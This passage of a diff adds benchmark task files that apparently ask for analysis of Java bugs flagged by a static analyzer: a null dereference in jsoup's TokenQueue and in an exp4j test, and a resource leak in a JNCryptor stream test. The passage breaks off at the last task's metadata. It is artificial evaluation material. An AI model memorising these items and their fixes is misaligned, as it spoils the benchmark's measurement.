+        Validate.notNull(data);
+        queue = data;
+    }
+
+    /**
+     * Is the queue empty?
+     * @return true if no data left in queue.
+     */
+    public boolean isEmpty() {
+        return remainingLength() == 0;
+    }
+    
+    private int remainingLength() {
+        return queue.length() - pos;
+    }
+
+    /**
+     * Retrieves but does not remove the first character from the queue.
+     * @return First character, or null if empty.
+     */
+    public Character peek() {
+        return isEmpty() ? null : queue.charAt(pos);
+    }
+
+    /**
+     Add a character to the start of the queue (will be the next character retrieved).
+     @param c character to add
+     */
+    public void addFirst(Character c) {
+        addFirst(c.toString());
+    }
+
+    /**
+     Add a string to the start of the queue.
+     @param seq string to add.
+     */
+    public void addFirst(String seq) {
+        // not very performant, but an edge case
+        queue = seq + queue.substring(pos);
+        pos = 0;
+    }
+
+    /**
+     * Tests if the next characters on the queue match the sequence. Case insensitive.
+     * @param seq String to check queue for.
+     * @return true if the next characters match.
+     */
+    public boolean matches(String seq) {
+        int count = seq.length();
+        if (count > remainingLength())
+            return false;
+
+        while (--count >= 0) {
+            if (Character.toLowerCase(seq.charAt(count)) != Character.toLowerCase(queue.charAt(pos+count)))
+                return false;
+        }
+        return true;
+    }
+    
+
+    /**
+     Tests if the next characters match any of the sequences.
+     @param seq
+     @return
+     */
+    public boolean matchesAny(String... seq) {
+        for (String s : seq) {
+            if (matches(s))
+                return true;
+        }
+        return false;
+    }
+
+    /**
+     * Tests if the queue matches the sequence (as with match), and if they do, removes the matched string from the
+     * queue.
+     * @param seq String to search for, and if found, remove from queue.
+     * @return true if found and removed, false if not found.
+     */
+    public boolean matchChomp(String seq) {
+        if (matches(seq)) {
+            consume(seq);
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     Tests if queue starts with a whitespace character.
+     @return if starts with whitespace
+     */
+    public boolean matchesWhitespace() {
+        return !isEmpty() && Character.isWhitespace(peek());
+    }
+
+    /**
+     Test if the queue matches a word character (letter or digit).
+     @return if matches a word character
+     */
+    public boolean matchesWord() {
+        return !isEmpty() && Character.isLetterOrDigit(peek());
+    }
+
+    /**
+     * Drops the next character off the queue.
+     */
+    public void advance() {
+        if (!isEmpty()) pos++;
+    }
+
+    /**
+     * Consume one character off queue.
+     * @return first character on queue.
+     */
+    public Character consume() {
+        Character c= queue.charAt(pos);
+        pos++;
+        return c;
+    }
+
+    /**
+     * Consumes the supplied sequence of the queue. If the queue does not start with the supplied sequence, will
+     * throw an illegal state exception -- but you should be running match() against that condition.
+     <p>
+     Case insensitive.
+     * @param seq sequence to remove from head of queue.
+     */
+    public void consume(String seq) {
+        if (!matches(seq))
+            throw new IllegalStateException("Queue did not match expected sequence");
+        int len = seq.length();
+        if (len > remainingLength())
+            throw new IllegalStateException("Queue not long enough to consume sequence");
+        
+        pos += len;
+    }
+
+    /**
+     * Pulls a string off the queue, up to but exclusive of the match sequence, or to the queue running out.
+     * @param seq String to end on (and not include in return, but leave on queue). <b>Case sensitive.</b>
+     * @return The matched data consumed from queue.
+     */
+    public String consumeTo(String seq) {
+        int offset = queue.indexOf(seq, pos);
+        if (offset != -1) {
+            String consumed = queue.substring(pos, offset);
+            pos += consumed.length();
+            return consumed;
+        } else {
+            return remainder();
+        }
+    }
+    
+    public String consumeToIgnoreCase(String seq) {
+        int start = pos;
+        String first = seq.substring(0, 1);
+        boolean canScan = first.toLowerCase().equals(first.toUpperCase()); // if first is not cased, use index of
+        while (!isEmpty() && !matches(seq)) {
+            if (canScan) {
+                int skip = queue.indexOf(first, pos) - pos;
+                if (skip <= 0)
+                    pos++;
+                else if (skip < 0) // no chance of finding, grab to end
+                    pos = queue.length() - 1;
+                else
+                    pos += skip;
+            }
+            else
+                pos++;
+        }
+
+        String data = queue.substring(start, pos); 
+        return data; 
+    }
+
+    /**
+     Consumes to the first sequence provided, or to the end of the queue. Leaves the terminator on the queue.
+     @param seq any number of terminators to consume to. <b>Case insensitive.</b>
+     @return consumed string   
+     */
+    // todo: method name. not good that consumeTo cares for case, and consume to any doesn't. And the only use for this
+    // is is a case sensitive time...
+    public String consumeToAny(String... seq) {
+        int start = pos;
+        while (!isEmpty() && !matchesAny(seq)) {
+            pos++;
+        }
+
+        String data = queue.substring(start, pos); 
+        return data; 
+    }
+
+    /**
+     * Pulls a string off the queue (like consumeTo), and then pulls off the matched string (but does not return it).
+     * <p>
+     * If the queue runs out of characters before finding the seq, will return as much as it can (and queue will go
+     * isEmpty() == true).
+     * @param seq String to match up to, and not include in return, and to pull off queue. <b>Case sensitive.</b>
+     * @return Data matched from queue.
+     */
+    public String chompTo(String seq) {
+        String data = consumeTo(seq);
+        matchChomp(seq);
+        return data;
+    }
+    
+    public String chompToIgnoreCase(String seq) {
+        String data = consumeToIgnoreCase(seq); // case insensitive scan
+        matchChomp(seq);
+        return data;
+    }
+
+    /**
+     * Pulls a balanced string off the queue. E.g. if queue is "(one (two) three) four", (,) will return "one (two) three",
+     * and leave " four" on the queue. Unbalanced openers and closers can be escaped (with \). Those escapes will be left
+     * in the returned string, which is suitable for regexes (where we need to preserve the escape), but unsuitable for
+     * contains text strings; use unescape for that.
+     * @param open opener
+     * @param close closer
+     * @return data matched from the queue
+     */
+    public String chompBalanced(Character open, Character close) {
+        StringBuilder accum = new StringBuilder();
+        int depth = 0;
+        Character last = null;
+
+        do {
+            if (isEmpty()) break;
+            Character c = consume();
+            if (last == null || !last.equals(ESC)) {
+                if (c.equals(open))
+                    depth++;
+                else if (c.equals(close))
+                    depth--;
+            }
+
+            if (depth > 0 && last != null)
+                accum.append(c); // don't include the outer match pair in the return
+            last = c;
+        } while (depth > 0);
+        return accum.toString();
+    }
+    
+    /**
+     * Unescaped a \ escaped string.
+     * @param in backslash escaped string
+     * @return unescaped string
+     */
+    public static String unescape(String in) {
+        StringBuilder out = new StringBuilder();
+        Character last = null;
+        for (Character c : in.toCharArray()) {
+            if (c.equals(ESC)) {
+                if (last != null && last.equals(ESC))
+                    out.append(c);
+            }
+            else 
+                out.append(c);
+            last = c;
+        }
+        return out.toString();
+    }
+
+    /**
+     * Pulls the next run of whitespace characters of the queue.
+     */
+    public boolean consumeWhitespace() {
+        boolean seen = false;
+        while (matchesWhitespace()) {
+            consume();
+            seen = true;
+        }
+        return seen;
+    }
+
+    /**
+     * Retrieves the next run of word type (letter or digit) off the queue.
+     * @return String of word characters from queue, or empty string if none.
+     */
+    public String consumeWord() {
+        int start = pos;
+        while (matchesWord())
+            pos++;
+        return queue.substring(start, pos);
+    }
+    
+    /**
+     * Consume an tag name off the queue (word or :, _, -)
+     * 
+     * @return tag name
+     */
+    public String consumeTagName() {
+        int start = pos;
+        while (!isEmpty() && (matchesWord() || matchesAny(":", "_", "-")))
+            pos++;
+        
+        return queue.substring(start, pos);
+    }
+    
+    /**
+     * Consume a CSS element selector (tag name, but | instead of : for namespaces, to not conflict with :pseudo selects).
+     * 
+     * @return tag name
+     */
+    public String consumeElementSelector() {
+        int start = pos;
+        while (!isEmpty() && (matchesWord() || matchesAny("|", "_", "-")))
+            pos++;
+        
+        return queue.substring(start, pos);
+    }
+
+    /**
+     Consume a CSS identifier (ID or class) off the queue (letter, digit, -, _)
+     http://www.w3.org/TR/CSS2/syndata.html#value-def-identifier
+     @return identifier
+     */
+    public String consumeCssIdentifier() {
+        StringBuilder accum = new StringBuilder();
+        Character c = peek();
+        while (!isEmpty() && (Character.isLetterOrDigit(c) || c.equals('-') || c.equals('_'))) {
+            accum.append(consume());
+            c = peek();
+        }
+        return accum.toString();
+    }
+
+    /**
+     Consume an attribute key off the queue (letter, digit, -, _, :")
+     @return attribute key
+     */
+    public String consumeAttributeKey() {
+        int start = pos;
+        while (!isEmpty() && (matchesWord() || matchesAny("-", "_", ":")))
+            pos++;
+        
+        return queue.substring(start, pos);
+    }
+
+    /**
+     Consume and return whatever is left on the queue.
+     @return remained of queue.
+     */
+    public String remainder() {
+        StringBuilder accum = new StringBuilder();
+        while (!isEmpty()) {
+            accum.append(consume());
+        }
+        return accum.toString();
+    }
+    
+    public String toString() {
+        return queue.substring(pos);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `peek()` could be null and is dereferenced at line 114.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean TokenQueue.matchesWhitespace()
+
+### Procedure Id:
+org.jsoup.parser.TokenQueue.matchesWhitespace():boolean.82b912e7979ffe06cd9ac887935622c8
+
+### File:
+src/main/java/org/jsoup/parser/TokenQueue.java
+
+### Key:
+TokenQueue.java|matchesWhitespace|NULL_DEREFERENCE
+
+### Node Key:
+98e48d8af36063b905de6168fc1ae17c
+
+### Hash:
+d64186f55e182f704a1a7ccf940fcf37
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7776/instruction.md b/inferredbugs-7776/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ba5121d9e492b4f0ea771771ed391a20d24ded01
--- /dev/null
+++ b/inferredbugs-7776/instruction.md
@@ -0,0 +1,369 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** exp4j
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package de.congrace.exp4j;
+
+import static org.junit.Assert.assertTrue;
+
+import java.text.DecimalFormat;
+import java.util.Arrays;
+import java.util.Random;
+
+import javax.script.ScriptEngine;
+import javax.script.ScriptEngineManager;
+
+import org.junit.Test;
+
+public class ExpressionBuilderTest {
+	@Test
+	public void testCustomFunction1() throws Exception {
+		CustomFunction custom = new CustomFunction("timespi") {
+			@Override
+			public double applyFunction(double value) {
+				return value * Math.PI;
+			}
+		};
+		Calculable calc = new ExpressionBuilder("timespi(x)").withVariable("x", 1).withCustomFunction(custom).build();
+		double result = calc.calculate();
+		assertTrue(result == Math.PI);
+	}
+
+	@Test
+	public void testCustomFunction2() throws Exception {
+		CustomFunction custom = new CustomFunction("loglog") {
+			@Override
+			public double applyFunction(double value) {
+				return Math.log(Math.log(value));
+			}
+		};
+		Calculable calc = new ExpressionBuilder("loglog(x)").withVariable("x", 1).withCustomFunction(custom).build();
+		double result = calc.calculate();
+		assertTrue(result == Math.log(Math.log(1)));
+	}
+
+	@Test
+	public void testCustomFunction3() throws Exception {
+		CustomFunction custom1 = new CustomFunction("foo") {
+			@Override
+			public double applyFunction(double value) {
+				return value * Math.E;
+			}
+		};
+		CustomFunction custom2 = new CustomFunction("bar") {
+			@Override
+			public double applyFunction(double value) {
+				return value * Math.PI;
+			}
+		};
+		Calculable calc = new ExpressionBuilder("foo(bar(x))").withVariable("x", 1).withCustomFunction(custom1).withCustomFunction(custom2).build();
+		double result = calc.calculate();
+		assertTrue(result == 1 * Math.E * Math.PI);
+	}
+
+	@Test
+	public void testCustomFunction4() throws Exception {
+		CustomFunction custom1 = new CustomFunction("foo") {
+			@Override
+			public double applyFunction(double value) {
+				return value * Math.E;
+			}
+		};
+		double varX = 32.24979131d;
+		Calculable calc = new ExpressionBuilder("foo(log(x))").withVariable("x", varX).withCustomFunction(custom1).build();
+		double result = calc.calculate();
+		assertTrue(result == Math.log(varX) * Math.E);
+	}
+
+	@Test
+	public void testCustomFunction5() throws Exception {
+		CustomFunction custom1 = new CustomFunction("foo") {
+			@Override
+			public double applyFunction(double value) {
+				return value * Math.E;
+			}
+		};
+		CustomFunction custom2 = new CustomFunction("bar") {
+			@Override
+			public double applyFunction(double value) {
+				return value * Math.PI;
+			}
+		};
+		double varX = 32.24979131d;
+		Calculable calc = new ExpressionBuilder("bar(foo(log(x)))").withVariable("x", varX).withCustomFunction(custom1).withCustomFunction(custom2).build();
+		double result = calc.calculate();
+		assertTrue(result == Math.log(varX) * Math.E * Math.PI);
+	}
+
+	@Test
+	public void testCustomFunction6() throws Exception {
+		CustomFunction custom1 = new CustomFunction("foo") {
+			@Override
+			public double applyFunction(double value) {
+				return value * Math.E;
+			}
+		};
+		CustomFunction custom2 = new CustomFunction("bar") {
+			@Override
+			public double applyFunction(double value) {
+				return value * Math.PI;
+			}
+		};
+		double varX = 32.24979131d;
+		Calculable calc = new ExpressionBuilder("bar(foo(log(x)))").withVariable("x", varX).withCustomFunctions(Arrays.asList(custom1, custom2)).build();
+		double result = calc.calculate();
+		assertTrue(result == Math.log(varX) * Math.E * Math.PI);
+	}
+
+	@Test
+	public void testCustomFunction7() throws Exception {
+		CustomFunction custom1 = new CustomFunction("half") {
+			@Override
+			public double applyFunction(double value) {
+				return value/2;
+			}
+		};
+		Calculable calc = new ExpressionBuilder("half(x)").withVariable("x", 1d).withCustomFunction(custom1).build();
+		assertTrue(0.5d == calc.calculate());
+	}
+
+	@Test(expected=InvalidCustomFunctionException.class)
+	public void testCustomFunction8() throws Exception {
+		CustomFunction custom1 = new CustomFunction("log") {
+			@Override
+			public double applyFunction(double value) {
+				return value/2;
+			}
+		};
+		Calculable calc = new ExpressionBuilder("half(x)").withVariable("x", 1d).withCustomFunction(custom1).build();
+		assertTrue(0.5d == calc.calculate());
+	}
+
+	@Test
+	public void testExpressionBuilder1() throws Exception {
+		Calculable calc = new ExpressionBuilder("f(x,y)=7*x + 3*y").withVariable("x", 1).withVariable("y", 2).build();
+		double result = calc.calculate();
+		assertTrue(result == 13d);
+	}
+
+	@Test
+	public void testExpressionBuilder2() throws Exception {
+		Calculable calc = new ExpressionBuilder("7*x + 3*y").withVariable("x", 1).withVariable("y", 2).build();
+		double result = calc.calculate();
+		assertTrue(result == 13d);
+	}
+
+	@Test
+	public void testExpressionBuilder3() throws Exception {
+		double varX = 1.3d;
+		double varY = 4.22d;
+		Calculable calc = new ExpressionBuilder("7*x + 3*y - log(y/x*12)^y").withVariable("x", varX).withVariable("y", varY).build();
+		double result = calc.calculate();
+		assertTrue(result == 7 * varX + 3 * varY - Math.pow(Math.log(varY / varX * 12), varY));
+	}
+
+	@Test
+	public void testExpressionBuilder4() throws Exception {
+		double varX = 1.3d;
+		double varY = 4.22d;
+		Calculable calc = new ExpressionBuilder("7*x + 3*y - log(y/x*12)^y").withVariable("x", varX).withVariable("y", varY).build();
+		double result = calc.calculate();
+		assertTrue(result == 7 * varX + 3 * varY - Math.pow(Math.log(varY / varX * 12), varY));
+		varX = 1.79854d;
+		varY = 9281.123d;
+		calc.setVariable("x", varX);
+		calc.setVariable("y", varY);
+		result = calc.calculate();
+		assertTrue(result == 7 * varX + 3 * varY - Math.pow(Math.log(varY / varX * 12), varY));
+	}
+
+	@Test
+	public void testExpressionBuilder5() throws Exception {
+		double varX = 1.3d;
+		double varY = 4.22d;
+		Calculable calc = new ExpressionBuilder("3*y").withVariable("x", varX).withVariable("y", varY).build();
+		double result = calc.calculate();
+		assertTrue(result == 3 * varY);
+	}
+
+	@Test
+	public void testExpressionBuilder6() throws Exception {
+		double varX = 1.3d;
+		double varY = 4.22d;
+		double varZ = 4.22d;
+		Calculable calc = new ExpressionBuilder("x * y * z").withVariableNames("x", "y", "z").build();
+		calc.setVariable("x", varX);
+		calc.setVariable("y", varY);
+		calc.setVariable("z", varZ);
+		double result = calc.calculate();
+		assertTrue(result == varX * varY * varZ);
+	}
+
+	@Test
+	public void testExpressionBuilder7() throws Exception {
+		double varX = 1.3d;
+		Calculable calc = new ExpressionBuilder("log(sin(x))").withVariable("x", varX).build();
+		double result = calc.calculate();
+		assertTrue(result == Math.log(Math.sin(varX)));
+	}
+
+	@Test
+	public void testExpressionBuilder8() throws Exception {
+		double varX = 1.3d;
+		Calculable calc = new ExpressionBuilder("f(x)=log(sin(x))").withVariable("x", varX).build();
+		double result = calc.calculate();
+		assertTrue(result == Math.log(Math.sin(varX)));
+	}
+
+	@Test(expected = UnparsableExpressionException.class)
+	public void testSameName() throws Exception {
+		CustomFunction custom = new CustomFunction("bar") {
+			@Override
+			public double applyFunction(double value) {
+				return value / 2;
+			}
+		};
+		double varBar = 1.3d;
+		Calculable calc = new ExpressionBuilder("f(bar)=bar(bar)").withVariable("bar", varBar).withCustomFunction(custom).build();
+		double result = calc.calculate();
+		assertTrue(result == varBar / 2);
+	}
+
+	@Test(expected = UnparsableExpressionException.class)
+	public void testInvalidFunction() throws Exception {
+		double varY = 4.22d;
+		Calculable calc = new ExpressionBuilder("3*invalid_function(y)").withVariable("y", varY).build();
+		calc.calculate();
+	}
+
+	@Test(expected = UnparsableExpressionException.class)
+	public void testMissingVar() throws Exception {
+		double varY = 4.22d;
+		Calculable calc = new ExpressionBuilder("3*y*z").withVariable("y", varY).build();
+		calc.calculate();
+	}
+
+	@Test
+	public void testBench1() throws Exception {
+		if (System.getProperty("skipBenchmark") != null && System.getProperty("skipBenchmark").equals("true")) {
+			System.out.println(":: skipping naive benchmarks...");
+			return;
+		}
+		System.out.println(":: running naive benchmarks, set -DskipBenchmark to skip");
+		String expr = "foo(x,y)=log(x) - y * (sqrt(x^cos(y)))";
+		Calculable calc = new ExpressionBuilder(expr).build();
+		double val = 0;
+		Random rnd = new Random();
+		long timeout = 2;
+		long time = System.currentTimeMillis() + (1000 * timeout);
+		int count = 0;
+		while (time > System.currentTimeMillis()) {
+			calc.setVariable("x", rnd.nextDouble());
+			calc.setVariable("y", rnd.nextDouble());
+			val = calc.calculate();
+			count++;
+		}
+		System.out.println("\n:: [PostfixExpression] simple benchmark");
+		System.out.println("expression\t\t" + expr);
+		double rate = count / timeout;
+		System.out.println("exp4j\t\t\t" + count + " [" + (rate > 1000 ? new DecimalFormat("#.##").format(rate / 1000) + "k" : rate) + " calc/sec]");
+		time = System.currentTimeMillis() + (1000 * timeout);
+		double x, y;
+		count = 0;
+		while (time > System.currentTimeMillis()) {
+			x = rnd.nextDouble();
+			y = rnd.nextDouble();
+			val = Math.log(x) - y * (Math.sqrt(Math.pow(x, Math.cos(y))));
+			count++;
+		}
+		rate = count / timeout;
+		System.out.println("Java Math\t\t" + count + " [" + (rate > 1000 ? new DecimalFormat("#.##").format(rate / 1000) + "k" : rate) + " calc/sec]");
+		ScriptEngineManager mgr = new ScriptEngineManager();
+		ScriptEngine engine = mgr.getEngineByName("JavaScript");
+		if (engine == null) {
+			System.err.println("Unable to instantiate javascript engine. skipping naive JS bench.");
+		} else {
+			time = System.currentTimeMillis() + (1000 * timeout);
+			count = 0;
+			while (time > System.currentTimeMillis()) {
+				x = rnd.nextDouble();
+				y = rnd.nextDouble();
+				engine.eval("Math.log(" + x + ") - " + y + "* (Math.sqrt(" + x + "^Math.cos(" + y + ")))");
+				count++;
+			}
+			rate = count / timeout;
+			System.out.println("JSR 223(Javascript)\t" + count + " [" + (rate > 1000 ? new DecimalFormat("#.##").format(rate / 1000) + "k" : rate)
+					+ " calc/sec]");
+		}
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getProperty("skipBenchmark")` could be null and is dereferenced at line 244.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ExpressionBuilderTest.testBench1()
+
+### Procedure Id:
+de.congrace.exp4j.ExpressionBuilderTest.testBench1():void.f165b6c5cc7c0dfbefc09db51714781f
+
+### File:
+src/test/java/de/congrace/exp4j/ExpressionBuilderTest.java
+
+### Key:
+ExpressionBuilderTest.java|testBench1|NULL_DEREFERENCE
+
+### Node Key:
+965bbf0a29188a78e25245c992eef045
+
+### Hash:
+a91134f7a8b283da4309a8caaf188e0c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7777/instruction.md b/inferredbugs-7777/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d9ee1af264014cc832f3df10cab880c5a3b5cf82
--- /dev/null
+++ b/inferredbugs-7777/instruction.md
@@ -0,0 +1,417 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** JNCryptor
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*    Copyright 2014 Duncan Jones
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.cryptonode.jncryptor;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Random;
+
+import javax.crypto.SecretKey;
+
+import org.apache.commons.io.IOUtils;
+import org.junit.Test;
+
+public class AES256JNCryptorInputStreamTest {
+  private static final Random RANDOM = new Random();
+
+  /**
+   * Test reading using read() method.
+   * 
+   * @throws Exception
+   */
+  @Test
+  public void testUsingRead() throws Exception {
+    byte[] plaintext = getRandomBytes(1);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+    byte[] data = cryptor.encryptData(plaintext, password.toCharArray());
+    
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), password.toCharArray());
+
+    try {
+      byte[] result = new byte[plaintext.length];
+      int offset = 0;
+      int b;
+      while ((b = in.read()) != -1) {
+        result[offset++] = (byte) b;
+      }
+
+      assertTrue(offset == plaintext.length);
+      assertArrayEquals(plaintext, result);
+
+    } finally {
+      in.close();
+    }
+  }
+
+  /**
+   * Test reading using read(byte[]) method.
+   * 
+   * @throws Exception
+   */
+  @Test
+  public void testUsingReadByteArrayWithOffset() throws Exception {
+    byte[] plaintext = getRandomBytes(256);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+    byte[] data = cryptor.encryptData(plaintext, password.toCharArray());
+
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), password.toCharArray());
+
+    try {
+
+      byte[] result = new byte[256];
+      IOUtils.readFully(in, result);
+
+      assertArrayEquals(plaintext, result);
+    } finally {
+      in.close();
+    }
+  }
+  
+  
+  /**
+   * Test reading using read(byte[]) method.
+   * 
+   * @throws Exception
+   */
+  @Test
+  public void testUsingReadByteArray() throws Exception {
+    byte[] plaintext = getRandomBytes(256);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+    byte[] data = cryptor.encryptData(plaintext, password.toCharArray());
+
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), password.toCharArray());
+
+    try {
+
+      byte[] result = new byte[256];
+      in.read(result);
+
+      assertArrayEquals(plaintext, result);
+    } finally {
+      in.close();
+    }
+  }  
+
+  /**
+   * Test reading using read(byte[]) method, with larger data amount and buffers,
+   * testing Issue #6.
+   *
+   * @throws Exception
+   */
+  @Test
+  public void testUsingReadByteArrayLargeBufferIssue6() throws Exception {
+    byte[] plaintext = getRandomBytes(50000);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+    byte[] data = cryptor.encryptData(plaintext, password.toCharArray());
+
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), password.toCharArray());
+
+    try {
+      byte[] buffer = new byte[16383];
+      ByteArrayOutputStream outStream = new ByteArrayOutputStream();
+      int len;
+      do {
+        len = in.read(buffer);
+        if (len > 0)
+          outStream.write(buffer, 0, len);
+      } while (len >= 0);
+      byte[] result = outStream.toByteArray();
+      assertArrayEquals(plaintext, result);
+    } finally {
+      in.close();
+    }
+  }
+
+  /**
+   * Test reading of mismatched data (e.g. encrypted using keys, decrypted with
+   * password).
+   * 
+   * @throws Exception
+   */
+  @Test(expected = IOException.class)
+  // TODO check for specific message
+  public void testUsingMismatchedKeys() throws Exception {
+
+    byte[] plaintext = getRandomBytes(256);
+    byte[] encryptionSalt = getRandomBytes(8);
+    byte[] hmacSalt = getRandomBytes(8);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+
+    SecretKey hmacKey = cryptor
+        .keyForPassword(password.toCharArray(), hmacSalt);
+    SecretKey encryptionKey = cryptor.keyForPassword(password.toCharArray(),
+        encryptionSalt);
+
+    byte[] data = cryptor.encryptData(plaintext, encryptionKey, hmacKey);
+
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), password.toCharArray());
+
+    try {
+
+      byte[] result = new byte[256];
+      IOUtils.readFully(in, result);
+
+      assertArrayEquals(plaintext, result);
+    } finally {
+      in.close();
+    }
+  }
+
+  /**
+   * Test reading of data with keys.
+   * 
+   * @throws Exception
+   */
+  @Test
+  public void testUsingKeys() throws Exception {
+
+    byte[] plaintext = getRandomBytes(256);
+    byte[] encryptionSalt = getRandomBytes(8);
+    byte[] hmacSalt = getRandomBytes(8);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+
+    SecretKey hmacKey = cryptor
+        .keyForPassword(password.toCharArray(), hmacSalt);
+    SecretKey encryptionKey = cryptor.keyForPassword(password.toCharArray(),
+        encryptionSalt);
+
+    byte[] data = cryptor.encryptData(plaintext, encryptionKey, hmacKey);
+
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), encryptionKey, hmacKey);
+
+    try {
+
+      byte[] result = new byte[256];
+      IOUtils.readFully(in, result);
+
+      assertArrayEquals(plaintext, result);
+    } finally {
+      in.close();
+    }
+  }
+
+  /**
+   * Test failure if MAC is broken.
+   * 
+   * @throws Exception
+   */
+  @Test(expected = StreamIntegrityException.class)
+  public void testBadHMAC() throws Exception {
+    byte[] plaintext = getRandomBytes(256);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+    byte[] data = cryptor.encryptData(plaintext, password.toCharArray());
+    data[data.length - 1] = (byte) (data[data.length - 1] + 1);
+
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), password.toCharArray());
+
+    try {
+      byte[] result = new byte[plaintext.length];
+      IOUtils.readFully(in, result);
+
+      assertArrayEquals(plaintext, result);
+    } finally {
+      in.close();
+    }
+  }
+
+  /**
+   * Test failure if MAC is broken, by reading exactly the right number of
+   * bytes.
+   * 
+   * @throws Exception
+   */
+  @Test(expected = StreamIntegrityException.class)
+  public void testBadHMACExactLength() throws Exception {
+    byte[] plaintext = getRandomBytes(256);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+    byte[] data = cryptor.encryptData(plaintext, password.toCharArray());
+    data[data.length - 1] = (byte) (data[data.length - 1] + 1);
+
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), password.toCharArray());
+
+    try {
+      byte[] result = new byte[plaintext.length];
+      int read = in.read(result);
+      assertEquals(result.length, read);
+    } finally {
+      in.close();
+    }
+  }
+
+  /**
+   * Test failure if MAC is broken, by reading exactly the right number of
+   * bytes.
+   * 
+   * @throws Exception
+   */
+  @Test(expected = StreamIntegrityException.class)
+  public void testBadHMACExactLengthByByte() throws Exception {
+    byte[] plaintext = getRandomBytes(256);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+    byte[] data = cryptor.encryptData(plaintext, password.toCharArray());
+    data[data.length - 1] = (byte) (data[data.length - 1] + 1);
+
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), password.toCharArray());
+
+    try {
+      byte[] result = new byte[plaintext.length];
+
+      for (int i = 0; i < result.length; i++) {
+        result[i] = (byte) in.read();
+      }
+
+    } finally {
+      in.close();
+    }
+  }
+  
+  
+  @Test
+  public void testMarkNotSupported() throws Exception {
+    byte[] plaintext = getRandomBytes(1);
+
+    final String password = "Testing1234";
+
+    JNCryptor cryptor = new AES256JNCryptor();
+    byte[] data = cryptor.encryptData(plaintext, password.toCharArray());
+    
+    InputStream in = new AES256JNCryptorInputStream(new ByteArrayInputStream(
+        data), password.toCharArray());
+    
+    assertFalse(in.markSupported());
+  }
+
+  private static byte[] getRandomBytes(int length) {
+    byte[] result = new byte[length];
+    RANDOM.nextBytes(result);
+    return result;
+  }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
